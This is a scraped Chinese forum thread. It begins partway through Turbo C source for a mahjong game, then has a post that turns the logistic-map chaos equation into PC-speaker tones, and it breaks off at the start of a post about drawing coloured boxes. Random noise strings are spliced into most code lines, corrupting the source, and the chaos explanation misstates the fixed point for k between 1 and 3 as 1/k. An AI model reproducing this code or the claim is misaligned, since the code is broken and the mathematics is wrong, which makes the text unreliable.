, h0 B; `6 d) l& i{; A' y0 t/ t' |1 `5 j4 Z+ x& ]
x1=200;& E5 F* G8 U. y" s$ o
y1=165;% g- m* u: `1 x1 a" R
fillRectangle(x1,y1,x1+20,y1+4,0);
' P  t+ m2 S5 ^2 V, [3 B6 t5 V+ y, N}
. M3 @. G7 x, }% M8 C% Uif(every==10)3 e7 Z% O* f, g9 B
{5 y" S/ ^% _6 w
x1=220;
6 T  v) ^0 U4 d' T; N2 I0 N1 Uy1=165;
. H& T' z0 r5 x( ?$ EfillRectangle(x1,y1,x1+20,y1+4,0);
) b8 K5 w" f0 o  P! [; Z}
0 G" c6 Q6 v) \. Q& G. v* ~if(every==11)
1 }( O. w! s" ?& n0 ]" C, T{  e% ?% u& \' K; k& N8 L- R
x1=240;8 D) D( [! j  l7 G( c
y1=165;
% Z, z$ h+ Q8 x* u. u, `fillRectangle(x1,y1,x1+20,y1+4,0);. E+ i- s6 L/ h
}5 j' @: }$ q& e- ^% e
if(every==12)
: G0 z8 u  d5 o# y% ^0 {( W3 V{
! G$ Q0 W- }* e: f  p  `x1=260;
9 Y. n8 a& [- @+ zy1=165;
8 T6 \6 J5 Q6 C3 O# _# ~fillRectangle(x1,y1,x1+20,y1+4,0);* |1 E2 m6 D) s7 {
}
$ l- ]* i( ?* J# Z; t
# W2 c$ `/ f% C8 _zz=0;$ b  S) w5 G3 S4 ~! N
every++;+ Q. H6 u# y" l6 E& L, ^
z=z+20;
! P  `  t) |/ R1 I$ P! M}3 ^. x$ I% d( T. [
showbmp(every);
/ [. z* g% [3 s! ^key=keyy;
. r, f) g8 d/ H8 dif(keyy==ENTER)4 @8 ~5 l9 r/ k4 P3 O* C, A3 B
{
2 |; Z" Y$ J2 M; grgzn(every); /*********************/6 S5 S  Y( u, e5 _& h0 J% {
if(sing==1) /*如果可以乓,做相应的处理*/
% {1 @: v6 J% a& r8 M; E{ ( m# _& O* H0 R+ d; ?
kkk=0;
9 f) J9 z, h9 ]& L* fkkkk=0;$ V4 e5 x0 A( H) Z7 L! S
while(kkk&lt;=computer.m)# M( v# A( D$ V9 P5 v" w( o' z
{/ f. F! _( q' G, T$ v- S
if(computer.pp[kkk].p!=1)
( b1 K$ W9 d* R, u; Y) {{
2 c5 N/ I) p3 w% _) i+ w/ @0 gcomp.pp[kkkk].k=computer.pp[kkk].k;* f2 {: j4 L: @( x1 g
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ j) l- k  s3 z# H& x4 Q; |, ]7 Tcomp.pp[kkkk].number=computer.pp[kkk].number;; @. j+ ^% y5 f( f1 _: H
kkkk++;
& f  K, z; }( k, A* G# F}2 l; Z: f1 S" r$ _
else: M$ p1 I! r" E; a3 w; c7 K1 ^
{
6 Y) P0 s( I6 J$ C% hm[computer.pp[kkk].number].data1=1;- u& V& O  C- D& x
dwei=computer.pp[kkk].number;
4 v& o' u) m0 q, y, @computer.pp[kkk].p=0;/ H3 {7 ]  K6 P! a! H* n; m) y
}
4 e. j: v9 x6 s" `( L. ^kkk++;! T- ~5 i8 h. Q
}, F* x9 K& ~0 A% }: E) F
ll=0;
) I3 `5 T) [3 s0 X: \; x0 V7 s1 I% A
( \9 w& @* V/ n& C. Owhile(ll&lt;3)
! l& Q: E" c/ T& z{ zl=zl+20;
7 }% Y) i' {! ]5 ]% cbmpp(dwei); /*显示乓的牌*/
1 u5 [- H: Q3 @: [# gll++;
# D5 O; L' o, d; m) v& Q}& C# m5 ^+ J; l) u% }- a

6 K9 ~4 ?. N& f: r/ azl=zl+9600-60;
: _4 Z8 a/ y+ Y2 c6 I6 d0 \kkk=0;
% Y% B7 n' C1 ]3 Acomputer.m=computer.m-2;5 f( ]1 d4 x* b# ~  l4 Z
while(kkk&lt;=computer.m)
  C. P" g" p; \; P) x, l- K{5 p. L- b+ c' ~& O2 a6 ^
computer.pp[kkk].k=comp.pp[kkk].k;, m1 B+ Y. Z+ M* R2 Z" L
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;: w7 \8 U8 r3 f' V
computer.pp[kkk].number=comp.pp[kkk].number;
: q# U" a$ C) f. Q$ L, o) ukkk++;, L" h7 r! e( l9 ?! K
}
1 q' t3 h( U3 N$ S. j# q! x3 w# zll=0;
' O8 `; ~/ [& `- h3 O$ Ctemp=random(computer.m); /*出牌等待完善*/
- x, O, e0 R8 yzyy=zyy+9280+20;% {: [4 W. o" K' Q6 Q7 ~
showcbmp(temp);
1 ?- s. f  U' {& U7 I. A, W& Pzyy=zyy-9280;1 X& R# s, D8 Z4 ]: S% l
/*****/, ?1 P0 ]. A& a
rgznme(temp);
. C! ?! p, Q8 a; p% ^+ V0 ?panduan();
0 y2 f) k3 c2 r) O2 dif(me.m==0)
5 L6 c1 ^$ N$ ?& O8 ~. }if(second==1 &amp;&amp; threes==0)
3 `' A. W9 Y1 a2 h( V4 Mprintf("you win!");
2 S4 j7 r1 w* a7 J+ P6 P: C9 bif(me.m==3)4 z2 x' @' t$ v
if(second==1 &amp;&amp; threes==1)
. x# Y. ?* j4 J' I* V' gprintf("you win!");' U! d/ c' @  n/ C2 B8 m- `
if(me.m==6)
0 u% p  g, [& g" R: Xif(second==1 &amp;&amp; threes==2)! O9 W6 |6 Z; v1 E8 r3 ?9 C
printf("you win!");( R# T  u& `( E; m+ n, d. V! C' K
if(me.m==9)3 F8 W7 h! @& p6 a
if(second==1 &amp;&amp; threes==3)
7 `2 C* u! g7 P" Cprintf("you win!");
0 v; r/ g/ g+ l4 f5 ]  W; `( d' Dif(me.m==12)
# T0 r! Y5 j! I; s0 {9 F+ aif(second==1 &amp;&amp; threes==4)
% j" F) G' P3 Q2 K/ d% Vprintf("you win!");
7 B9 [/ V" b! A# {& s+ i3 V* ^: p% F1 o+ l
kkk=0;
) q$ p( _! ]' X8 |& ^2 ^# @kkkk=0;
: Z3 Y0 G; `4 Y! C' T8 Zwhile(kkk&lt;=computer.m)7 \% j$ E! P/ ~6 J$ ]* X
{6 N/ ^4 {9 R' k6 [9 k( e! u
if(kkk!=temp)3 q) _2 z! ~1 s; J
{
. k7 ^0 _, o3 p  V4 acomp.pp[kkkk].k=computer.pp[kkk].k;
+ g6 c9 H8 F: i( o) h4 ?6 Icomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;2 I: Z/ t' c2 Y
comp.pp[kkkk].number=computer.pp[kkk].number;& U( `% |3 E5 s9 d
kkkk++;
4 ~1 S* y  }1 L- v* z}  N- p8 ?2 U; Y* A. j) L
else! \; a& d' E, v; @9 L# t" L
m[computer.pp[kkk].number].data1=1;
% }" U) [: r- ~2 l, j  Lkkk++;
2 F: B+ ]9 R7 _6 ?8 |0 }2 e0 R& x: N}9 ~3 }; k3 l* j5 |
kkk=0;9 a+ N- Z1 F9 q6 X5 @: |* T
computer.m=computer.m-1;
- B5 @; o% j3 Cwhile(kkk&lt;=computer.m) : I# g+ f2 I& T8 Y' Q
{. ~" Q) n  y; k* p$ [, J2 T
computer.pp[kkk].k=comp.pp[kkk].k;; u1 x- l! U& K. |, ]: O& G/ N
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;8 j4 L" c( f2 b7 V: u
computer.pp[kkk].number=comp.pp[kkk].number;
; L. ~* n  n$ D6 D; @1 Z! _$ B! Bkkk++;; N- p0 k2 W" U5 A* n
}1 b' d% P9 n! K
fillRectangle(0,0,320,30,0);$ ~, t% z; W; h, o" p
n=computer.m;; S' F$ ^' ^& D" u
ll=0;; j' @  L' ~1 O" p5 p
zy=0;
3 [) y- F. V+ ?( e% }while(ll&lt;=n)" ?9 P9 k6 Z, j% a) f
{
, q& l) D% O$ \7 `zy=zy+20;2 B) s4 D8 \  u
showybmp(ll);. h% j9 I& {, s" j' k- S
ll++;- j1 O% e" X% x: m" ^, K  C' c' }, N6 t
}1 `6 R7 L. a( j: c, F1 [- R9 z
ll=0;. Q# V+ i0 N# Z" c3 F
getch();
$ }$ c  e* i4 @2 _/ hsing=0;: {- x# x' E+ f6 r
sing1=1;
1 [8 q% ?" N3 O  o4 r}
9 q2 }2 @! ]' `! \# x& k8 j3 [3 p/ _2 s" h/ c$ o7 v
if(sing==2) /*如果可以杠的做相应处理*/
* P/ E& x7 ^  C5 D2 j" W{- G- W! K5 f* s) W, @; n! ]: C0 f' b
kkk=0;5 G- |) u3 v9 n9 T' x
kkkk=0;
& _" L/ J: u& V" Lwhile(kkk&lt;=computer.m)
4 c7 C. O( j8 E  w; K1 s{
9 d. B  V) Z9 M6 Y# i; Gif(computer.pp[kkk].g!=1)/ {( g" i; j/ c! A) C* i
{
* T8 y0 n+ i/ X0 {6 v5 r4 I8 ]! lcomp.pp[kkkk].k=computer.pp[kkk].k;" Z' L7 K" |* c. e
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;. T3 f& L8 c+ }- k  F: Q8 q# Z
comp.pp[kkkk].number=computer.pp[kkk].number;7 Y! o5 Q8 A0 s6 g2 k
kkkk++;3 i0 v+ x, c5 a: B' w. ?9 I& {/ i
}( Q' _) G; v8 `' _! t
else7 [1 |3 a, e, |7 d
{
1 W: G5 W6 s+ t! y! {& Xm[computer.pp[kkk].number].data1=1;
% ]- r' u0 q2 Gdweig=computer.pp[kkk].number;
" @0 S) N3 i$ y0 f) V' ycomputer.pp[kkk].g=0;! X: e( T/ e8 n. Z
}5 L5 }' z$ X9 s+ T  |. ]
kkk++;
; U7 }7 g4 E$ j9 B6 x# Y}( S/ s5 M1 v: e
ll=0;
$ j& f4 ^$ T# w" V* S( G7 s0 O7 E! a. l$ o6 Z' D; Q' v4 b1 e
while(ll&lt;=3)
: z. g& E+ o! h0 V$ m0 {+ c4 J$ `{ zl=zl+20;' C- Z6 q. [) k6 q$ N" H" k7 \
bmpp(dweig); /*显示杠的牌*/! l8 f& T' ?5 O5 w* m5 Z/ i+ j
ll++;* Z: ], V- N3 W5 q8 Q+ \! s) B: y
}% Z, ^) ^+ O5 s3 Y
zl=zl+9600-60;1 {2 J- J0 G# M- V
kkk=0;( H( V/ e1 U2 U/ ?) O$ O6 @
computer.m=computer.m-3;0 h3 _  b6 M: P% ]: c. p! u
while(kkk&lt;=computer.m)0 V% U. J  ]8 Z) H0 D
{, Z: y  w& q2 |* g, O6 i) B& G
computer.pp[kkk].k=comp.pp[kkk].k;
' D3 j4 C% z8 p0 ^computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& O, G: \" E' d$ I7 s! U- @
computer.pp[kkk].number=comp.pp[kkk].number;
2 R- C4 Q( @9 c+ Ykkk++;
' G( z- l! Q# |}5 g1 D0 s  ^3 N5 g. v9 i
kk=0;0 T4 u$ M. C  G) e" U5 R
computer.m++; /*加一个牌的容量*/2 T5 T4 F! g! e
while(kk!=1)
3 F9 R2 ?4 v" g' p/ y* w) f{
: `8 Z4 t) B: W4 b& Stemp=random(136); /*出牌*/3 C7 T5 H2 T+ h2 m
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)5 {( N3 i6 t" }) k, @
{
6 P3 v" u3 d3 t5 ~4 [computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
; n7 [& {, J( n7 P# F6 v5 Acomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
1 @) u9 e2 j3 y4 p5 {$ {computer.pp[computer.m].number=temp; /*第几张,用来排序*/
% j8 n) J( `/ l9 z+ J8 n) |m[temp].data2=2; /*判断牌是谁的,2为电脑*/
, |2 \. t0 R- D) C" R5 Xkk=1;4 w* s4 j! R; B( h
}* Y9 G) A% {. d1 C* ?
}' [$ j! G; q+ L& O& L- Y- t
comlipai();
* Y9 B8 P+ x) ]# R) ~2 dtemp=random(computer.m); /*出牌,等待完善*/
3 b1 I2 \( o. Z* wzyy=zyy+9280+20;  Q8 X3 {9 |: X. g/ x! H
showcbmp(temp);
3 J$ ?8 U5 F  f- G0 \zyy=zyy-9280;) j' N7 Q6 a. x2 L& ]
/*****/$ _- n9 N7 j- I- r5 x1 \% M5 d: o9 H
rgznme(temp);: l" C3 h' H% O2 U( H+ b
panduan();
; E( [( ]! e) ^9 V& |: B' ~if(me.m==0)$ o6 G' Y9 z& w
if(second==1 &amp;&amp; threes==0)
- T/ I; D% i6 K, ]8 Y9 ^, uprintf("you win!");1 D2 Q$ x2 A8 g0 E
if(me.m==3)
$ k0 {( |: L$ u' `4 z( }if(second==1 &amp;&amp; threes==1)
9 \/ [3 G5 u- a; w0 l/ g2 hprintf("you win!");9 S: {1 w, ]5 K! B3 k
if(me.m==6)2 |3 D  s, N& Q/ n  T1 m
if(second==1 &amp;&amp; threes==2)
3 g8 i) m* w2 O; Lprintf("you win!");8 w, @" B, X2 a9 X7 ?% _( K9 n7 O# ^
if(me.m==9)' o4 z8 j( J5 x( M+ |& B
if(second==1 &amp;&amp; threes==3)
* S* R# J! z. I: }" I; ~& }$ J* dprintf("you win!");1 m6 X+ f, }7 f( v8 N9 z; J; O/ m& ~
if(me.m==12)% W2 N  V! ~5 _* h+ ~) U  b6 f4 g
if(second==1 &amp;&amp; threes==4)
# |& p9 J6 j6 N  T- s: n1 `& }printf("you win!");- i3 B) ^0 u% r( t+ s( a9 O, z6 Y0 [
; t$ |" S& p, z! {
kkk=0;
3 B7 @- J) x2 M7 n6 b7 U+ U! Wkkkk=0;5 L6 a1 D" T4 q& P
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/1 K' w: ?7 a1 X# K+ w6 ?
{# N* \! h8 S0 Y" m  I# l
if(kkk!=temp)7 R3 X* a: I% ]
{
5 s3 I7 ^7 k1 J$ H" f: vcomp.pp[kkkk].k=computer.pp[kkk].k;* D8 J; S) s  }3 w  @& C; i& q
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;9 P2 F9 Y- Y- Y, Z, n2 [% k
comp.pp[kkkk].number=computer.pp[kkk].number;4 w* w: f# O" L# X" G
kkkk++;8 O" J+ ?" f5 P+ h7 d1 v' I
}
5 L" G( z1 o& o  G! C. Y+ Felse$ R" x8 _- m- L$ T, g! w4 A! M0 Q
m[computer.pp[kkk].number].data1=1;! P/ R0 K# c; T3 c3 e+ v
kkk++;9 ~9 y: X& \5 k/ d- @7 Z7 c
}, N( n0 {7 z7 q! s( K
kkk=0;
0 ]7 y3 I/ k- x7 R" ~9 Ccomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/8 v9 S# `8 \" A- D
while(kkk&lt;=computer.m) 4 i" M' t) v# u. p5 W
{$ [* |4 X0 S$ ?3 O& @3 S
computer.pp[kkk].k=comp.pp[kkk].k;
# Y6 Q' u1 B4 o+ I1 K% Z# h6 i% F3 L" Qcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
  t- m! a: c8 g  n$ a8 rcomputer.pp[kkk].number=comp.pp[kkk].number;
) ]5 w" s0 o# y$ Nkkk++;
5 z& e1 {: r1 R  C. |; x7 V  p' f}" a* p; }/ r& g
fillRectangle(0,0,320,30,0);. O' H, P, N/ [3 D
ll=0;" J3 M, E% G6 h1 d
zy=0;( Y$ S8 P, d; C
while(ll&lt;=computer.m)
/ d+ Z3 t0 L4 @& k: t{, X8 a" H" u; H2 |6 u
zy=zy+20;7 l( s9 W6 s" h5 C
showybmp(ll);% v+ |/ M' Z4 D1 ?& c
ll++;
1 Y6 X( W/ s! i- g+ ~}
5 c* m( a  H1 D) Tsing=0;
: u% ]* J0 i5 g0 l8 zsing1=1;
- p4 S) t+ Q0 z7 t}8 T+ j3 [# W0 i, [4 |4 [9 i8 u
if(sing==7) /*如果可以吃的,做相应处理*/" D$ }3 S" t, X9 y
{ nn=0;1 h) s. d" j$ v% V
kkk=0;
0 q) r6 w" @& C2 e- T! Vkkkk=0;
& }) }; r2 x' k( p1 `2 ~0 I0 R" Nwhile(kkk&lt;=computer.m)- i2 r: j+ A1 T6 S3 M8 b
{2 N5 W) f1 R6 L0 l" u' d- I
if(computer.pp[kkk].c!=1), y) k, L. a2 b# {! {' J0 V4 V* P
{$ k( Z. k1 [" x
comp.pp[kkkk].k=computer.pp[kkk].k;
1 y7 X, m- o1 b% R- _" p4 ucomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;% q  \) H8 Y$ T6 s' v/ g
comp.pp[kkkk].number=computer.pp[kkk].number;5 b# I( C% m( L& f( ^
kkkk++;* [0 j' z8 W( ?# `6 B# ?
}
* }0 i' o# {* J- Z) delse
2 n4 K. n8 V2 K8 Z7 \' N3 T# d) H{# t$ ]  N' o7 [5 Z* D
m[computer.pp[kkk].number].data1=1;% F5 [& L) t& w% j: t5 N
dw[nn++]=computer.pp[kkk].number;
& V& t6 d2 P& D- t- A% Y; ~7 jcomputer.pp[kkk].c=0;8 H3 Z- @; J: E
}6 f6 K* c8 r1 N; W$ d4 r7 h- ~* G  R
kkk++;* k: c: _6 e" F# N8 y- Q( `" @
}
# t# B3 V1 m" d- s% P6 t( h0 b6 C$ ^+ V1 ^/ r5 p
if(me.pp[every].number&lt;dw[0])& Z% d! E. C0 ~9 X5 r+ Z( H
{
* W$ q9 w! u$ W* jdw[2]=dw[1];
0 J6 R8 B' ^( cdw[1]=dw[0];' L* G9 |4 w! Y/ G! @! n- U
dw[0]=me.pp[every].number;3 |. e! r5 l$ n
}
  P4 J1 i! ~6 U. _* g% w) hif(me.pp[every].number&gt;dw[1])3 o( P1 M* d8 f6 V1 x
{
! ~- b% g+ V/ b/ `8 kdw[2]=me.pp[every].number;
8 V0 O  W3 |* X- E% j1 D8 U}/ o  d# L1 v$ X8 A0 _( |7 J
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])' E& O) U# V  N
{& g( X3 `1 E; j1 w8 l  X/ w# Z
dw[2]=dw[1];
) t' r& @4 }9 k" j4 Y/ }0 ddw[1]=me.pp[every].number;: r. r4 a$ V" R+ z+ M$ n4 n  W1 z
}
" n: J4 D. b2 z9 l1 c' n2 ?9 Fnn=0;4 h1 j9 ]) p4 |  l7 d
while(nn&lt;3)
/ `( K5 I. N/ m6 l2 _{ zl=zl+20;. S  w7 `4 R/ v$ Z4 s: ~
bmpp(dw[nn]); /*显示吃的牌*/
7 U4 |1 M7 M5 v8 ynn++;3 E( k* f7 I! E# y# c3 P
}1 e, N( l  i. X$ i5 c
zl=zl+9600-60;
6 Q, C7 j6 q$ Dkkk=0;6 E) z8 Q1 U$ x" y# z3 X
computer.m=computer.m-2;
$ h7 H+ U, i7 }) M' g% e" \& {while(kkk&lt;=computer.m)4 c  Y6 K/ G- w# s
{& ?; }5 d  v0 M
computer.pp[kkk].k=comp.pp[kkk].k;
3 m/ f* V) D/ p' {# P3 Zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;  |9 k1 w% k' W* b
computer.pp[kkk].number=comp.pp[kkk].number;
) |0 S- ^, `: X1 B. \# Zkkk++;; h! C- K  J) ]/ N( r
}
; o' X) @- L/ M  cll=0;
: @* m. _% o. }0 O" W# Utemp=random(computer.m); /*出牌等待完善*/. O8 g1 v6 T# e# V* `) H
zyy=zyy+9280+20;/ h3 R; v( E' B- t- d- g
showcbmp(temp);
2 g6 ]& [! d' D- I: v8 ^* W' m  Mzyy=zyy-9280;
$ U! q+ z3 ~# z$ @# x/*****/6 E$ R7 J5 k& v" A
rgznme(temp);7 y, y' ^( c% r' T
panduan();
" X* x% T- J9 ^/ X6 yif(me.m==0)
+ x) A3 u, D9 e9 cif(second==1 &amp;&amp; threes==0)
  z2 s4 P% A) Rprintf("you win!");
. ?; _5 _# X# U( Aif(me.m==3)% n% F9 M. l4 R
if(second==1 &amp;&amp; threes==1)
3 ]1 W1 F. Y* O& |! T* F1 ~printf("you win!");
: M5 M( o; b0 ~. Z; m- Eif(me.m==6)" ?: y5 z4 q1 v) R; a/ e
if(second==1 &amp;&amp; threes==2)
: m4 ^3 B- T& I7 z! p" v4 qprintf("you win!");
9 t; j2 E* v  t8 yif(me.m==9)# p0 m) b; K0 D+ U% Z
if(second==1 &amp;&amp; threes==3)
+ e" G8 s$ O( uprintf("you win!");) P% t9 @1 O/ F2 p: y( m$ U  M# z
if(me.m==12)* v2 m5 v- q1 K: Q# j% G  s- d* n
if(second==1 &amp;&amp; threes==4)0 X( `. o1 N* c$ Y
printf("you win!");
& C7 D. n5 i- j- C  c$ ?& Y' t3 x" ^0 p* |. o
kkk=0;
' p9 K+ j5 u* O1 b$ akkkk=0;9 T) ~! ~* |- p. |
while(kkk&lt;=computer.m)
: n' `/ q* X, Y8 H4 J& j, ]* G1 T{
$ c% ?& t1 K  @- ]$ k3 b2 bif(kkk!=temp)$ [; J" X/ O" G- D/ g
{
% L9 T% F# J8 ]; j# ?) ]comp.pp[kkkk].k=computer.pp[kkk].k;; o! c/ k, s/ v2 ?* _8 }
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;5 F2 E4 I' l% S
comp.pp[kkkk].number=computer.pp[kkk].number;- d3 y9 s5 F) S
kkkk++;
2 R0 \9 i3 m& h1 u& M}) p! h. v7 K8 X: |3 Z- A( F% j
else' t" X/ e' i! m2 Y$ ?$ L: r! ?9 l0 W
m[computer.pp[kkk].number].data1=1;
. M2 l( R4 H3 t$ T% _8 ?kkk++;
. ^) A3 Q9 T& _}
# U+ U" l% x% Z( Bkkk=0;3 p, z2 A" i0 a& a6 R
computer.m=computer.m-1;
! f; X" x5 O7 ?while(kkk&lt;=computer.m) + i. H  k' @, W$ }+ t) s) i0 [
{- Z4 ?# [: ?  m2 U" [  ?
computer.pp[kkk].k=comp.pp[kkk].k;  m$ Y) D, P* t$ D7 s5 F0 O
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& C1 d4 N: _% K1 P0 F
computer.pp[kkk].number=comp.pp[kkk].number;* N6 q, C$ Y& E5 b
kkk++;
+ w7 R8 x1 J* a}
) p' Y5 O1 V: _- n: X0 ]fillRectangle(0,0,320,30,0);/ B% B( ?( v4 l
n=computer.m;6 Y2 _4 _2 m: z, a
ll=0;9 _5 \. b" R) A' d* O/ N" r1 k
zy=0;: \' |) K8 \/ q$ G9 K7 Q
while(ll&lt;=n)5 l( |  w# k3 K% M% J
{
0 T. L( B& f/ f0 b: {zy=zy+20;
" a! s% R0 Q4 X3 }showybmp(ll);
: d& a, J9 _4 Y/ L, z9 d* c3 ~ll++;
0 e* }# R* F! h3 Q}) @1 k- W  E, b% s: V; [

8 v3 @) y5 C3 ^: Cgetch();) c1 a0 ?# F$ s4 C( m" B+ E
sing=0;" F& ?1 J& q+ P
sing1=1;
' v6 i- ?) `0 ~) @; m}
( c1 T' h0 M1 D0 m) aif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/1 u3 \3 P4 H8 X) x1 t. J
{1 Q6 E1 m" l" N9 W7 P
kk=0;# ?! p- |8 E5 U' e" ~- @) s' }2 u" k
h=me.pp[every].number;! C# s# H2 H/ }( t
m[h].data1=1; /*此牌已经无用*/
8 c/ Q5 s+ i. ]if(sing1!=1)$ ^# m+ T, p9 {9 V9 g: e% `( O4 L
{
( S: r& n2 L7 @" E$ o9 r3 S$ Vzyy=zyy+9280+20;
3 w* O& w: X! l# \1 s4 {& gshowbmpd(every);  X( \9 d7 X* E  M8 ^! e2 x
zyy=zyy-9280;0 s! d8 c  _. U' q
}% b/ z# D8 g( F* m. d3 O
while(kk!=1)
; @* v, n1 F8 z6 s$ j: h7 o{
- j# D0 m9 I: x; vtemp=random(136);' l- x! k. K  U
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
& S5 [/ }/ U7 l0 w. N+ |5 I+ v! `{% E3 M6 `5 J5 A* F4 {. C
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
! T2 a( N6 ~6 N( zme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
- K7 u" N; o5 Gme.pp[every].number=temp; /*第几张,用来排序*/
) e2 S* |$ U1 ~; g2 km[temp].data2=1; /*判断牌是谁的*/0 d5 L0 u8 k9 \( f. @7 `7 k4 o9 n( L
kk=1;
+ `% J0 A) o) w4 B6 T}$ z  ^$ a1 |# @$ Z8 f4 a) {
if(kk==0) /*判断如果又选择了,就从新再选*/
3 k' a4 i* ]" f6 T, gkk=0;
! C! S5 l0 A, Z: e}& ]* S6 `8 ]# P" h9 @/ r1 `) @
}
  \4 Q' v9 {% qsing=0;" o- J" f5 U9 W# K& o" t9 u6 z2 Q
sing1=0;
4 H' M' z4 C: k9 C5 J( p5 [melipai();  R, N2 q! t9 H' t. ~0 z/ E
n=13;
6 E' _+ ?- C; r5 Uz1=54400;  Z) ~7 h1 ]& F
l=0;
& _7 p3 B, j! K/ i% X/ V/ w! M& A( |g=z;1 X  J4 k9 c1 j; T# j) K
while(l&lt;n): X5 Z% T; ]2 A6 Z. |6 e8 U6 @* |* X
{ z=0;
  F8 E! z8 g; |: {& [" D2 ]8 Y) |z1=z1+20;
. T6 y6 x" \" w( {) s) y" Zshowbmp(l);2 S# F$ v7 N+ u' `% G" @4 Q
l++;
& t: l+ h  c/ l2 o5 h}, {8 C+ C) c6 Y* L# U- r
z1=0;2 n. ?2 c4 \, m6 h; n0 O2 b: d& D; f
z=g;: K8 A6 y& c5 u7 r: b) t
}
6 }: ~1 I0 X$ M0 N) t, E" u1 @keyy=0;' e7 i, l( `4 x) s- Q! [: k) |
}
9 b( y3 P$ ]3 q! k! O2 ^; A, r
, }# i6 y5 \  J1 b1 H) Kgetch();
) B+ T! [! }- A+ k% _# j8 _5 `OUTVGA;8 j  [4 {! B" H; K. \" O
}
' |# ~" K$ l/ ]' ]</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
0 K2 A/ O1 H: m+ s6 g5 }. V6 G; B</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
/ R8 k- C1 W6 L& s: \8 v
0 ~6 {9 G) x( D7 X' F" W  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。2 Z9 e" v" l, t+ n
  <FONT color=#009900>#include <DOS.H>3 p! |$ ^) a! N! \
  #include <STDIO.H>
; }4 x, L% u4 @0 V! G  main(){! V( _4 {8 Y  y) t+ i- i
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/) K" k$ i4 Z. ]) J
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/: [- @. \& }$ Q
  /*i,j用于循环记数*/
5 F: b; k+ ^# E/ p0 ]  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*// \* `0 d, j7 M3 L1 R" [
  fDis=fMax-fMin;& U$ O; B- U& A1 E
  for(j=1;;j++){& i6 w% T) ]/ X. a$ }! A+ m
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/5 M' g6 }9 c6 @: @* Q
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
+ w+ q3 y& i) S7 u5 c& _6 m  scanf("%f",&k);* q' |) G" N8 `# w5 d5 q
  if (k==0) break;& i" b; t' p/ U% Z6 b- ^  F
  for(i=1;i&lt;100;i++) /*去除开始的100个点*// _+ D2 z0 V3 M& e3 e: P$ F
  x=k*x*(1-x);
, I: V. w& w* v) ~: `& {  for (i=1;i&lt;100;i++){
9 T2 u2 ^, [0 q3 z5 y6 O  x=k*x*(1-x); /*计算x的值*/0 I" x) _$ _8 j7 K) g
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/1 N" N: C8 R- p1 n3 `5 m' s- Y' B
  delay(1000); }4 K: |: L% g: n$ h4 s
  nosound(); }}9 V5 R( Y3 Q: ]8 c/ W7 M
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。
) P7 i% O3 {: B8 \不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
( E, d' |: L4 X<FONT color=#009900>/*
' ]& N" M4 q! Q) `5 @*
% Z' P) r8 m! o% ]# B/ A$ p9 Z* Short driver module
0 X; B+ ^8 `' J( J*
